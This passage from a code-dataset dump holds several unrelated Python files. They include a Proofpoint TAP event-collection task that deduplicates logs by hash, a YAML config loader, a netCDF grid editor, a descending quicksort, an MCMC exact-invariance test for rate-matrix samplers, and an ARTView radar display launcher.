self).__init__(\n name=\"monitor_events\",\n description=Component.DESCRIPTION,\n input=MonitorEventsInput(),\n output=MonitorEventsOutput(),\n state=MonitorEventsState(),\n )\n\n def run(self, params={}, state={}): # pylint: disable=unused-argument\n self.connection.client.toggle_rate_limiting = False\n has_more_pages = False\n try:\n last_collection_date = state.get(self.LAST_COLLECTION_DATE)\n next_page_index = state.get(self.NEXT_PAGE_INDEX)\n previous_logs_hashes = state.get(self.PREVIOUS_LOGS_HASHES, [])\n query_params = {\"format\": \"JSON\"}\n\n if not state:\n self.logger.info(\"First run\")\n now = self.get_current_time() - timedelta(minutes=1)\n last_hour = now - timedelta(hours=1)\n state[self.LAST_COLLECTION_DATE] = now.isoformat()\n parameters = SiemUtils.prepare_time_range(last_hour.isoformat(), now.isoformat(), query_params)\n else:\n if next_page_index:\n state.pop(self.NEXT_PAGE_INDEX)\n self.logger.info(\"Getting the next page of results...\")\n parameters = SiemUtils.prepare_time_range(\n (datetime.fromisoformat(last_collection_date) - timedelta(hours=1)).isoformat(),\n last_collection_date,\n query_params,\n )\n else:\n self.logger.info(\"Subsequent run\")\n now = self.get_current_time() - timedelta(minutes=1)\n state[self.LAST_COLLECTION_DATE] = now.isoformat()\n last_hour = now - timedelta(hours=1)\n parameters = SiemUtils.prepare_time_range(last_hour.isoformat(), now.isoformat(), query_params)\n try:\n parsed_logs = self.parse_logs(\n clean(self.connection.client.siem_action(Endpoint.get_all_threats(), parameters))\n )\n\n if (not next_page_index and len(parsed_logs) > self.SPLIT_SIZE) or (\n next_page_index and (next_page_index + 1) * self.SPLIT_SIZE < len(parsed_logs)\n ):\n state[self.NEXT_PAGE_INDEX] = next_page_index + 1 if next_page_index else 1\n has_more_pages = True\n\n current_page_index = next_page_index if next_page_index else 0\n new_unique_logs, new_logs_hashes = self.compare_hashes(\n previous_logs_hashes,\n parsed_logs[current_page_index * self.SPLIT_SIZE : (current_page_index + 1) * self.SPLIT_SIZE],\n )\n state[self.PREVIOUS_LOGS_HASHES] = (\n [*previous_logs_hashes, *new_logs_hashes] if current_page_index > 0 else new_logs_hashes\n )\n return new_unique_logs, state, has_more_pages, 200, None\n\n except ApiException as error:\n state[self.PREVIOUS_LOGS_HASHES] = []\n return [], state, False, error.status_code, error\n except Exception as error:\n state[self.PREVIOUS_LOGS_HASHES] = []\n return [], state, has_more_pages, 500, PluginException(preset=PluginException.Preset.UNKNOWN, data=error)\n\n @staticmethod\n def get_current_time():\n return datetime.now(timezone.utc)\n\n def parse_logs(self, unparsed_logs: list) -> list:\n parsed_logs = []\n for event_type in [\"clicksBlocked\", \"clicksPermitted\", \"messagesBlocked\", \"messagesDelivered\"]:\n parsed_logs.extend(self.prepare_log(log, event_type) for log in unparsed_logs.get(event_type, []))\n return parsed_logs\n\n @staticmethod\n def prepare_log(log: dict, value: str) -> dict:\n log[\"eventType\"] = value\n\n # preventing random sorting of the list to ensure that the same hash is generated with each request\n if log.get(\"messageParts\"):\n log[\"messageParts\"] = sorted(log.get(\"messageParts\", []), key=lambda part: part.get(\"md5\", \"\"))\n return dict(sorted(log.items()))\n\n @staticmethod\n def sha1(log: dict) -> str:\n hash_ = sha1() # nosec B303\n for key, value in log.items():\n hash_.update(f\"{key}{value}\".encode(\"utf-8\"))\n return hash_.hexdigest()\n\n def compare_hashes(self, previous_logs_hashes: list, new_logs: list):\n new_logs_hashes = []\n logs_to_return = []\n for log in new_logs:\n hash_ = self.sha1(log)\n if hash_ not in previous_logs_hashes:\n new_logs_hashes.append(hash_)\n logs_to_return.append(log)\n return logs_to_return, new_logs_hashes\n","sub_path":"plugins/proofpoint_tap/komand_proofpoint_tap/tasks/monitor_events/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"606587198","text":"import yaml\nimport os\nfrom .util import CONFIG_FILE_EXT\n\n_valid_keys = [\n \"template-path\",\n]\n\ndef _valid_config(config):\n valid = {}\n for key in config:\n if key in _valid_keys:\n valid[key] = config[key]\n return valid\n\ndef config_from_file(file):\n conf = yaml.load(file, Loader=yaml.FullLoader)\n if \"anyt-config\" not in conf:\n print(\"anyt-config not found in file\")\n return\n return _valid_config(conf[\"anyt-config\"])\n \ndef config_from_path(path):\n with open(path, \"r\") as f:\n return config_from_file(f)\n\ndef config_default():\n user = os.path.expanduser(\"~\")\n return config_from_path(f\"{user}/.anyt/config.{CONFIG_FILE_EXT}\")","sub_path":"anytialize/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"248428771","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 2 15:07:15 2022\n\n@author: chris.kerklaan\n\"\"\"\nimport xarray\nNC_LAYERS = [\n \"Mesh2D_vol\",\n \"Mesh2D_ucy\",\n \"Mesh2D_ucy\",\n \"Mesh2D_ucx\",\n \"Mesh2D_u1\",\n \"Mesh2D_su\",\n \"Mesh2D_s1\",\n \"Mesh2D_rain\",\n \"Mesh2D_q_sss\",\n \"Mesh2D_q_lat\",\n \"Mesh2D_q_\",\n \"Mesh2D_au\",\n \"Mesh2DCountour_y\",\n \"Mesh2DCountour_x\",\n \"Mesh1D_vol\",\n \"Mesh1D_su\",\n \"Mesh1D_s1\",\n \"Mesh1D_rain\",\n \"Mesh1D_q_pump\",\n \"Mesh1D_q_lat\",\n \"Mesh1D_q\",\n \"Mesh1D_breach_width\",\n \"Mesh1D_breach_depth\",\n \"Mesh1D_au\",\n ]\nCONVERT = {\n \"volume_2d\": \"Mesh2D_vol\",\n \"waterlevel_2d\": \"Mesh2D_s1\",\n \"volume_1d\": \"Mesh1D_vol\",\n \"waterlevel_1d\": \"Mesh1D_s1\"\n }\n\n\n\nclass GridEdit:\n \"\"\" edit the netcdf file based on ids of the grid\"\"\"\n \n def __init__(self, result_3di_path):\n self.ds = xarray.load_dataset(result_3di_path)\n \n def set_value(self, table, timestep, node_id, value):\n \"\"\" Sets a value for a node id in a certain table\n params:\n table: Can be volume_2d, waterlevel_2d, volume_1d, waterlevel_1d\n \"\"\"\n self.ds[CONVERT[table]][timestep][node_id] = value\n \n def set_timeseries(self, table, node_id, values):\n \"\"\" sets complete timeseries for a single node_id\"\"\"\n self.ds[CONVERT[table]][:,node_id] = values \n \n \n # def set_values(self, table, timestep, values):\n # \"\"\" Set all nodes for a certain timestep\"\"\"\n \n # self.df[CONVERT[table]][timestep][node_id] = value\n \n def write(self, path):\n self.ds.to_netcdf(path)\n ","sub_path":"hhnk_research_tools/threedi/gridedit.py","file_name":"gridedit.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"159810606","text":"def partition(A, start, end):\n pivot = A[end]\n i = start - 1\n for j in range(start, end):\n if A[j] >= pivot:\n i += 1\n A[i], A[j] = A[j], A[i]\n i += 1\n A[i], A[end] = A[end], A[i]\n return i\n\n\ndef quick_sort(A, start, end):\n if start < end:\n pivot_idx = partition(A, start, end)\n quick_sort(A, start, pivot_idx - 1)\n quick_sort(A, pivot_idx + 1, end)\n\n\ndef main():\n A = [13, 19, 9, 5, 12, 8, 7, 4, 12, 21, 2, 6, 11]\n quick_sort(A, 0, len(A) - 1)\n print(A)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"7_1_4_decreasing_quick_sort.py","file_name":"7_1_4_decreasing_quick_sort.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"148024361","text":"import numpy as np\nimport HardCodedDictionaryUtils\nfrom DataGenerationRegime import DataGenerationRegime\nfrom DataGenerationRegime import WeightGenerationRegime\nimport sys\nfrom numpy.random import RandomState\nfrom ExpectedCompleteReversibleObjective import ExpectedCompleteReversibleObjective\nfrom HMC import HMC\nfrom ExpectedCompleteReversibleModelBinaryFactors import ExpectedCompleteReversibleModelWithBinaryFactors\nfrom LocalRFSamplerForBinaryWeights import LocalRFSamplerForBinaryWeights\nfrom ReversibleRateMtxPiAndBinaryWeightsWithGraphicalStructure import ReversibleRateMtxPiAndBinaryWeightsWithGraphicalStructure\nfrom PhyloLocalRFMove import PhyloLocalRFMove\nfrom OptionClasses import RFSamplerOptions\nfrom OptionClasses import MCMCOptions\nfrom OptionClasses import RefreshmentMethod\n\nimport argparse\n\n\n\ndef getExchangeCoef(nStates, binaryWeights, bivariateFeatDictionary):\n exchangeList = list()\n wholeStates = np.arange(0, nStates)\n for state0 in range(nStates):\n support = np.setdiff1d(wholeStates, state0)\n for state1 in support:\n if state1 > state0:\n keyPair = (state0, state1)\n # print(keyPair)\n exchangeList.append(np.exp(np.sum(np.take(binaryWeights, bivariateFeatDictionary[keyPair]))))\n return exchangeList\n\n\nclass ExactInvarianceTestHMC:\n\n def __init__(self, nPriorSamples,nParam, K=1000):\n ## nParam represents the number of parameters\n ## nParam represents the total number univariate and bivariate features\n self.nPriorSamples = nPriorSamples\n self.nParam = nParam\n self.priorSeed = np.arange(0, nPriorSamples, 1)\n self.K = K\n\n\n\n def getPriorSamples(self, seed):\n weightsSamples = np.zeros((self.nPriorSamples, self.nParam))\n np.random.seed(seed)\n ## ToDo: check the values from different rows are totally different\n for i in range(self.nPriorSamples):\n weightsSamples[i, :] = np.random.normal(0, 1, self.nParam)\n\n return weightsSamples\n\n\n\n def gFunc(self, weightSamples, nStates, nBivariateFeat, bivariateFeatDictionary):\n stationaryWeights = weightSamples[0:nStates]\n bivariateWeights = weightSamples[nStates:(nStates + nBivariateFeat)]\n rateMatrix = ReversibleRateMtxPiAndBinaryWeightsWithGraphicalStructure(nStates, stationaryWeights,\n bivariateWeights,\n bivariateFeatIndexDictionary=bivariateFeatDictionary)\n stationaryDist = rateMatrix.getStationaryDist()\n exchangeCoef = rateMatrix.getExchangeCoef()\n\n result = {}\n result['weights'] = weightSamples\n result['stationaryDist'] = stationaryDist\n result['exchangeCoef'] = exchangeCoef\n return result\n\n def gFuncMSamples(self, nStates, nBivariateFeat, bivariateFeatDictionary, seed=1, priorWeights=None):\n\n priorWeights = priorWeights\n np.random.seed(seed)\n\n stationaryDistSamples = np.zeros((self.nPriorSamples, nStates))\n exchangeDim = int(nStates * (nStates-1)/2)\n exchangeCoefSamples = np.zeros((self.nPriorSamples, exchangeDim))\n\n if priorWeights is None:\n dim = int(nStates + nBivariateFeat)\n priorWeights = np.zeros((self.nPriorSamples, dim))\n\n for i in range(self.nPriorSamples):\n priorWeights[i, :] = np.random.normal(0, 1, dim)\n\n for i in range(self.nPriorSamples):\n result = self.gFunc(priorWeights[i, :], nStates, nBivariateFeat, bivariateFeatDictionary)\n stationaryDistSamples[i, :] = result['stationaryDist']\n exchangeCoefSamples[i, :] = result['exchangeCoef']\n\n output = {}\n output['stationaryDist'] = stationaryDistSamples\n output['exchangeCoef'] = exchangeCoefSamples\n return output\n\n\n\n def gFuncMean(self, weightSamples, nStates, nBivariateFeat, bivariateFeatDictionary):\n ## this function returns us the stationary weight distribution\n ## and exchangeable parameters\n stationaryWeights = weightSamples[0:nStates, :]\n bivariateWeights = weightSamples[nStates:(nStates+nBivariateFeat), :]\n\n M = weightSamples.shape[0]\n\n ## how to apply a function to each row of a numpy array\n ## get the stationary distribution of stationary weights for each row\n unnormalizedStationaryDist = np.exp(stationaryWeights)\n stationaryDist = unnormalizedStationaryDist/unnormalizedStationaryDist.sum(axis=1, keepdims=True)\n\n ## get the exchangeable parameters for each row of the numpy array\n ## apply getExchangeCoef to each row of the numpy array\n\n exchangeCoef = np.apply_along_axis(getExchangeCoef, 1, bivariateWeights, nStates, bivariateFeatDictionary)\n\n ## get the column mean and sd of stationary dist and\n exchangeCoefColMean = np.mean(exchangeCoef, axis=0)\n stationaryDistColMean = np.mean(stationaryDist, axis=0)\n\n sigma2MStationary = 1/M * np.sum(np.square(stationaryDist), axis=0)-np.square(stationaryDistColMean)\n sigma2MExchangeCoef = 1/M * np.sum(np.square(exchangeCoef), axis=0)-np.square(exchangeCoefColMean)\n\n result = {}\n result['stationaryDistMean'] = stationaryDistColMean\n result['stationaryDistSigma2'] = sigma2MStationary\n result['exchangeCoefMean'] = exchangeCoefColMean\n result['exchangeCoefSigma2'] = sigma2MExchangeCoef\n return result\n\n def getReplicateMeanSamples(self, resultsFromGFunc, nStates, nBivariateFeat, bivariateFeatDictionary):\n stationaryMeanSamples = np.zeros((self.nRep, nStates))\n stationarySigma2Samples = np.zeros((self.nRep, nStates))\n exchangeCoefMeanSamples = np.zeros((self.nRep, nBivariateFeat))\n exchangeCoefSigma2Samples = np.zeros((self.nRep, nBivariateFeat))\n M = self.getPriorSamples(self.priorSeed[0]).shape[0]\n\n for i in range(self.nRep):\n weightSamples = self.getPriorSamples(self.priorSeed[i])\n result = self.gFunc(weightSamples, nStates, nBivariateFeat, bivariateFeatDictionary)\n stationaryMeanSamples[i, :] = result['stationaryDistMean']\n stationarySigma2Samples[i, :] = result['stationaryDistSigma2']\n exchangeCoefMeanSamples[i, :] = result['exchangeCoefMean']\n exchangeCoefSigma2Samples[i, :] = result['exchangeCoefSigma2']\n\n stationaryMeanEst = np.mean(stationaryMeanSamples, axis=0)\n stationarySigma2Est = np.mean(stationarySigma2Samples, axis=0)\n\n result = {}\n result['stationaryDistMeanSamples'] = stationaryMeanSamples\n result['stationaryDistSigma2Samples'] = stationarySigma2Samples\n result['exchangeCoefSigma2Samples'] = exchangeCoefSigma2Samples\n result['exchangeCoefMeanSamples'] = exchangeCoefMeanSamples\n result['stationaryMeanEst'] = stationaryMeanEst\n result['stationarySigma2Est'] = stationarySigma2Est/M\n\n ## we should test if result['stationaryDistMeanSamples'] follows a Normal distribution with mean stationaryMeanEst\n ## and standard deviation stationarySigma2Est/M\n\n return result\n\n\n def sameInitialWeightsAndDataGeneration(self, nStates, nBivariateFeat, bivariateFeatDictionary, seed, bt, nSeq, interLength):\n np.random.seed(seed)\n theta0 = np.random.normal(0, 1, (nStates + nBivariateFeat))\n stationaryWeights = theta0[0:nStates]\n binaryWeights = theta0[nStates:(nStates + nBivariateFeat)]\n\n ## based on the current values, generate the first observation\n ## generates the next theta based on the current obseration\n ## generate observation based on the current values of the parameters\n ## randomly generate a seed number\n weightGenerationRegime = WeightGenerationRegime(nStates=nStates, nBivariateFeat=nBivariateFeat,\n stationaryWeights=stationaryWeights,\n bivariateWeights=binaryWeights)\n prng = RandomState(np.random.choice(2 ** 32 - 1, 1))\n\n dataRegime = DataGenerationRegime(nStates=nStates,\n bivariateFeatIndexDictionary=bivariateFeatDictionary, btLength=bt,\n nSeq=nSeq,\n weightGenerationRegime=weightGenerationRegime,\n prng=prng, interLength=interLength)\n ## generate the sequences data\n seqList = dataRegime.generatingSeq()\n suffStat = dataRegime.getSufficientStatFromSeq(seqList)\n firstLastStatesArrayAll = dataRegime.generatingSeqGivenRateMtxAndBtInterval(seqList)\n\n # replicate K iterations to get new parameters\n nTrans = suffStat[\"transitCount\"]\n holdTime = suffStat[\"sojourn\"]\n\n nInit = np.zeros(nStates)\n unique, counts = np.unique(firstLastStatesArrayAll[0][:, 0], return_counts=True)\n nInitCount = np.asarray((unique, counts)).T\n nInit[nInitCount[:, 0].astype(int)] = nInitCount[:, 1]\n\n\n suffStatDict = {}\n suffStatDict['nTrans'] = nTrans\n suffStatDict['sojourn'] = holdTime\n suffStatDict['nInit'] = nInit\n\n result = {}\n result['stationaryWeights'] = stationaryWeights\n result['binaryWeights'] = binaryWeights\n result['seqList'] = seqList\n result['suffStat'] = suffStatDict\n\n return result\n\n\n def succesiveConditionalSimulatorWithInitialWeightAndData(self, initialParamAndData, K, nStates, nBivariateFeat, bivariateFeatDictionary, seed, bt, nSeq,\n interLength, HMCPlusBPS, onlyHMC, nLeapFrogSteps, stepSize, nItersPerPathAuxVar, rfOptions, mcmcOptions):\n\n thetaStationaryWeights = initialParamAndData['stationaryWeights']\n thetaBinaryWeights = initialParamAndData['binaryWeights']\n\n theta0StationarySamples = np.zeros((K, nStates))\n theta0BinaryWeightsSamples = np.zeros((K, nBivariateFeat))\n\n ## for debuging reasons, we ave the stationary distribution and exchangeable coef\n ## actually, we only need the last sample at the last iteration K\n theta0StationaryDistSamples = np.zeros((K, nStates))\n theta0ExchangeableCoefSamples = np.zeros((K, int(nStates * (nStates - 1) / 2)))\n\n theta0StationarySamples[0,:] = thetaStationaryWeights\n theta0BinaryWeightsSamples[0, :] = thetaBinaryWeights\n theta0StationaryDistSamples[0,:] = np.exp(thetaStationaryWeights)/np.sum(np.exp(thetaStationaryWeights))\n initialExchangeCoef = getExchangeCoef(nStates, thetaBinaryWeights, bivariateFeatDictionary)\n theta0ExchangeableCoefSamples[0, :] = initialExchangeCoef\n\n sample = None\n\n if onlyHMC:\n sample = np.zeros((nStates+nBivariateFeat))\n sample[0:nStates] = thetaStationaryWeights\n sample[nStates:(nStates+nBivariateFeat)] = thetaBinaryWeights\n\n if HMCPlusBPS:\n sample = thetaStationaryWeights\n\n suffStat = initialParamAndData['suffStat']\n nInit = suffStat['nInit']\n nTrans = suffStat['nTrans']\n holdTime = suffStat['sojourn']\n\n expectedCompleteReversibleObjective = None\n for i in np.arange(1, K, 1):\n\n if HMCPlusBPS:\n expectedCompleteReversibleObjective = ExpectedCompleteReversibleObjective(holdTime, nInit, nTrans, 1.0,\n initialExchangeCoef)\n if onlyHMC:\n expectedCompleteReversibleObjective = ExpectedCompleteReversibleObjective(holdTime, nInit, nTrans, 1.0, nBivariateFeatWeightsDictionary=bivariateFeatDictionary)\n\n #####################################\n hmc = HMC(nLeapFrogSteps, stepSize, expectedCompleteReversibleObjective, expectedCompleteReversibleObjective)\n lastSample = sample\n\n for k in range(nItersPerPathAuxVar):\n hmcResult = hmc.doIter(nLeapFrogSteps, stepSize, lastSample, expectedCompleteReversibleObjective, expectedCompleteReversibleObjective, True)\n lastSample = hmcResult.next_q\n sample = lastSample\n\n if onlyHMC:\n thetaStationaryWeights = sample[0:nStates]\n thetaBinaryWeights = sample[nStates:(nStates + nBivariateFeat)]\n theta0StationarySamples[i, :] = thetaStationaryWeights\n theta0BinaryWeightsSamples[i, :] = thetaBinaryWeights\n\n if HMCPlusBPS:\n thetaStationaryWeights = sample\n theta0StationarySamples[i, :] = thetaStationaryWeights\n # update stationary distribution elements to the latest value\n thetaStationaryDist = np.exp(sample) / np.sum(np.exp(sample))\n # sample exchangeable coefficients using local bouncy particle sampler\n ## define the model\n model = ExpectedCompleteReversibleModelWithBinaryFactors(expectedCompleteReversibleObjective, nStates,\n thetaBinaryWeights, thetaStationaryDist,\n bivariateFeatDictionary)\n ## define the sampler to use\n ## local sampler to use\n\n localSampler = LocalRFSamplerForBinaryWeights(model, rfOptions, mcmcOptions, nStates,\n bivariateFeatDictionary)\n phyloLocalRFMove = PhyloLocalRFMove(model=model, sampler=localSampler, initialPoints=thetaBinaryWeights, options=rfOptions, prng=RandomState(i))\n thetaBinaryWeights = phyloLocalRFMove.execute()\n theta0BinaryWeightsSamples[i, :] = thetaBinaryWeights\n\n initialRateMtx = ReversibleRateMtxPiAndBinaryWeightsWithGraphicalStructure(nStates, thetaStationaryWeights,\n thetaBinaryWeights,\n bivariateFeatIndexDictionary=bivariateFeatDictionary)\n\n initialStationaryDist = initialRateMtx.getStationaryDist()\n initialExchangeCoef = initialRateMtx.getExchangeCoef()\n theta0StationaryDistSamples[i, :] = initialStationaryDist\n theta0ExchangeableCoefSamples[i, :] = initialExchangeCoef\n\n weightGenerationRegime = WeightGenerationRegime(nStates=nStates, nBivariateFeat=nBivariateFeat,\n stationaryWeights=thetaStationaryWeights,\n bivariateWeights=thetaBinaryWeights)\n\n prng = RandomState(np.random.choice(2 ** 32 - 1, 1))\n\n dataRegime = DataGenerationRegime(nStates=nStates,\n bivariateFeatIndexDictionary=bivariateFeatDictionary, btLength=bt,\n nSeq=nSeq,\n weightGenerationRegime=weightGenerationRegime,\n prng=prng, interLength=interLength)\n ## generate the sequences data\n seqList = dataRegime.generatingSeq()\n suffStat = dataRegime.getSufficientStatFromSeq(seqList)\n firstLastStatesArrayAll = dataRegime.generatingSeqGivenRateMtxAndBtInterval(seqList)\n\n # replicate K iterations to get new parameters\n nTrans = suffStat[\"transitCount\"]\n holdTime = suffStat[\"sojourn\"]\n\n nInit = np.zeros(nStates)\n unique, counts = np.unique(firstLastStatesArrayAll[0][:, 0], return_counts=True)\n nInitCount = np.asarray((unique, counts)).T\n nInit[nInitCount[:, 0].astype(int)] = nInitCount[:, 1]\n\n\n result = {}\n result['stationaryDist'] = theta0StationaryDistSamples[(K - 1), :]\n result['exchangeCoef'] = theta0ExchangeableCoefSamples[(K - 1), :]\n result['stationaryWeights'] = thetaStationaryWeights\n result['binaryWeights'] = thetaBinaryWeights\n ## after testing the code is right, the following two lines should be removed\n #result['StationaryDistSamples'] = theta0StationaryDistSamples\n #result['ExchangeableCoefSamples'] = theta0ExchangeableCoefSamples\n return result\n\n def getMSuccessiveConditionalSamples(self, M, K, nStates, nBivariateFeat, bivariateFeatDictionary, seed, bt, nSeq, interLength, HMCPlusBPS, onlyHMC, nLeapFrogSteps, stepSize, nItersPerPathAuxVar, rfOptions, mcmcOptions):\n\n mStationarySamples = np.zeros((M, nStates))\n mStationaryWeightsSamples = np.zeros((M, nStates))\n exchangeCoefDim = int(nStates * (nStates-1)/2)\n mExchangeCoefSamples = np.zeros((M, exchangeCoefDim))\n mBinaryWeightsSamples = np.zeros((M, nBivariateFeat))\n\n\n for i in range(M):\n paramAndData = self.sameInitialWeightsAndDataGeneration(nStates, nBivariateFeat, bivariateFeatDictionary, i, bt,\n nSeq, interLength)\n\n result = self.succesiveConditionalSimulatorWithInitialWeightAndData(paramAndData, K, nStates, nBivariateFeat, bivariateFeatDictionary, i, bt, nSeq, interLength, HMCPlusBPS, onlyHMC, nLeapFrogSteps, stepSize, nItersPerPathAuxVar, rfOptions, mcmcOptions)\n mStationarySamples[i, :] = result['stationaryDist']\n mStationaryWeightsSamples[i, :] = result['stationaryWeights']\n mExchangeCoefSamples[i, :] = result['exchangeCoef']\n mBinaryWeightsSamples[i, :] = result['binaryWeights']\n print(i)\n\n result = {}\n result['StationaryDistSamples'] = mStationarySamples\n result['ExchangeableCoefSamples'] = mExchangeCoefSamples\n result['stationaryWeightsSamples'] = mStationaryWeightsSamples\n result['binaryWeightsSamples'] = mBinaryWeightsSamples\n\n return result\n\n\n @staticmethod\n def main():\n ## test some correctness of this class\n\n argv = sys.argv[1:]\n parser = argparse.ArgumentParser()\n parser.add_argument('-nStates', action=\"store\", type=int, dest='nStates', default=2,\n help='save the number of states in the ctmc')\n ## add boolean variable to indicate whether we only use hmc or we use a combination of hmc and local bps\n parser.add_argument('--onlyHMC', action=\"store_true\",\n help='HMC flag, the existence of the argument indicates HMC is used.')\n ## add boolean variable to indicate whether we use the local bps algorithm\n parser.add_argument('--HMCPlusBPS', action='store_true',\n help='BPS flag, the existence of the argument indicates a combination of HMC and local BPS is used.')\n\n parser.add_argument('-dir_name', action='store', dest='dir_name', type=str,\n help='store the directory name to save the csv files')\n\n nStates = 5\n bivariateFeatDictionary = HardCodedDictionaryUtils.getHardCodedDictChainGraph(nStates)\n nLeapFrogSteps = 40\n stepSize = 0.002\n nItersPerPathAuxVar = 30\n trajectoryLength = 0.125\n refreshmentMethod = RefreshmentMethod.LOCAL\n rfOptions = RFSamplerOptions(trajectoryLength=trajectoryLength, refreshmentMethod=refreshmentMethod)\n nMCMCIters = int(1)\n mcmcOptions = MCMCOptions(nMCMCIters, 1, 0)\n\n\n M = 300\n K = 200\n nSeq = 150\n nExchangeCoef = int(nStates * (nStates - 1) / 2)\n nTotal = int(nStates + nExchangeCoef)\n EIT3by3 = ExactInvarianceTestHMC(M, nTotal, K)\n\n ## save prior samples\n fWeightSamples = EIT3by3.getPriorSamples(123456789)\n np.savetxt(\"/home/zhaott/project/zhaott/rejfreePy_main/EIT/fWeightshmc.csv\", fWeightSamples, fmt='%.3f', delimiter=',')\n\n\n fGFuncSamples= EIT3by3.gFuncMSamples(nStates, nExchangeCoef, bivariateFeatDictionary, seed=2, priorWeights=fWeightSamples)\n\n fStationary = fGFuncSamples['stationaryDist']\n np.savetxt(\"/home/zhaott/project/zhaott/rejfreePy_main/EIT/fStationaryhmc.csv\", fStationary, fmt='%.3f', delimiter=',')\n fExchangeCoef = fGFuncSamples['exchangeCoef']\n np.savetxt(\"/home/zhaott/project/zhaott/rejfreePy_main/EIT/fExchangehmc.csv\", fExchangeCoef, fmt='%.3f', delimiter=',')\n\n HTransitionSampleHMC = EIT3by3.getMSuccessiveConditionalSamples(M=M, K=K, nStates=nStates, nBivariateFeat=nExchangeCoef,\n bivariateFeatDictionary=bivariateFeatDictionary,\n seed=3, bt=3, nSeq=nSeq,\n interLength=0.5, HMCPlusBPS=False, onlyHMC=True,\n nLeapFrogSteps=nLeapFrogSteps,\n stepSize=stepSize,\n nItersPerPathAuxVar=nItersPerPathAuxVar,\n rfOptions=rfOptions, mcmcOptions=mcmcOptions)\n\n stationaryWeightsHMC = HTransitionSampleHMC['stationaryWeightsSamples']\n exchangeCoefHMC = HTransitionSampleHMC['ExchangeableCoefSamples']\n stationaryDistHMC = HTransitionSampleHMC['StationaryDistSamples']\n binaryWeightsHMC = HTransitionSampleHMC['binaryWeightsSamples']\n\n np.savetxt(\"/home/zhaott/project/zhaott/rejfreePy_main/EIT/hmcStationaryWeights.csv\", stationaryWeightsHMC, fmt='%.3f',\n delimiter=',')\n np.savetxt(\"/home/zhaott/project/zhaott/rejfreePy_main/EIT/hmcStationaryDist.csv\", stationaryDistHMC, fmt='%.3f', delimiter=',')\n np.savetxt(\"/home/zhaott/project/zhaott/rejfreePy_main/EIT/hmcBinaryWeights.csv\", binaryWeightsHMC, fmt='%.3f', delimiter=',')\n np.savetxt(\"/home/zhaott/project/zhaott/rejfreePy_main/EIT/hmcExchangeCoef.csv\", exchangeCoefHMC, fmt='%.3f', delimiter=',')\n\n\n\n\n\n\n\n ## test every function of this class\n ## test getExchangeCoef\n # prng = np.random.RandomState(1)\n # binaryWeights = prng.normal(0, 1, 12)\n # bivariateFeatDictionary6 = HardCodedDictionaryUtils.getHardCodedDict()\n # exchangeCoef = getExchangeCoef(6, binaryWeights, bivariateFeatDictionary6)\n # print(np.round(exchangeCoef, 3))\n # ## calculate the exchange coef mannually and compare it with exchangeCoef\n # exchangeCoefManually = np.zeros(15)\n # featIndexlist = [None] * 15\n # featIndexlist[0] = np.array((0, 1), dtype=np.int)\n # featIndexlist[1] = np.array((0, 1, 2), dtype=np.int)\n # featIndexlist[2] = np.array((1, 2), dtype=np.int)\n # featIndexlist[3] = np.array((0, 2), dtype=np.int)\n # featIndexlist[4] = np.array((3, 4), dtype=np.int)\n # featIndexlist[5] = np.array((3, 4, 5), dtype=np.int)\n # featIndexlist[6] = np.array((3, 5), dtype=np.int)\n # featIndexlist[7] = np.array((4, 5), dtype=np.int)\n # featIndexlist[8] = np.array((6, 7), dtype=np.int)\n # featIndexlist[9] = np.array((6, 7, 8), dtype=np.int)\n # featIndexlist[10] = np.array((7, 8), dtype=np.int)\n # featIndexlist[11] = np.array((6, 8), dtype=np.int)\n # featIndexlist[12] = np.array((9, 10), dtype=np.int)\n # featIndexlist[13] = np.array((9, 11), dtype=np.int)\n # featIndexlist[14] = np.array((10, 11), dtype=np.int)\n # for i in range(len(exchangeCoefManually)):\n # exchangeCoefManually[i] = np.exp(np.sum(np.take(binaryWeights, featIndexlist[i])))\n # print(np.round(exchangeCoefManually, 3))\n\n ## the exchangeable parameters are calculated correctly\n\n\n\nif __name__ == \"__main__\":\n ExactInvarianceTestHMC.main()\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"ExactInVarianceTestHMC.py","file_name":"ExactInVarianceTestHMC.py","file_ext":"py","file_size_in_byte":24268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"88959280","text":"\"\"\"\nstandard.py\n\nDriver function that creates two ARTView displays.\nThis is the default start for ARTView\n\"\"\"\nimport os\n\n\ndef run(DirIn=None, filename=None, field=None):\n \"\"\"\n standard artview execution\n\n It has :py:class:`~artview.components.Menu`\n with :py:class:`~artview.components.LinkPlugins`,\n\n 2 :py:class:`~artview.components.RadarDisplay`,\n\n graphical start for:\n * All :py:class:`~artview.plugins`\n * :py:class:`~artview.components.RadarDisplay`\n * :py:class:`~artview.components.LinkPlugins`\n * :py:class:`~artview.components.SelectRegion`\n \"\"\"\n import sys\n\n from ..core import Variable, QtGui, QtCore\n from ..components import RadarDisplay, Menu, LevelButtonWindow, \\\n LinkPlugins, SelectRegion\n from ._parse_field import _parse_field\n\n app = QtGui.QApplication(sys.argv)\n\n # start Menu and initiate Vradar\n MainMenu = Menu(DirIn, filename, name=\"Menu\")\n Vradar = MainMenu.Vradar\n\n # handle input\n if field is None:\n import pyart\n field = pyart.config.get_field_name('reflectivity')\n field = _parse_field(Vradar.value, field)\n if DirIn is None: # avoid reference to path while building documentation\n DirIn = os.getcwd()\n\n # start Displays\n Vtilt = Variable(0)\n Vtilt2 = Variable(0)\n plot1 = RadarDisplay(Vradar, Variable(field), Vtilt, name=\"Display1\",\n parent=MainMenu)\n plot2 = RadarDisplay(Vradar, Variable(field), Vtilt2, name=\"Display2\",\n parent=MainMenu)\n\n # start ComponentsControl\n control = LinkPlugins()\n\n # add control to Menu\n MainMenu.addLayoutWidget(control)\n\n # add graphical starts\n MainMenu.addComponent(LinkPlugins)\n MainMenu.addComponent(RadarDisplay)\n MainMenu.addComponent(SelectRegion)\n\n 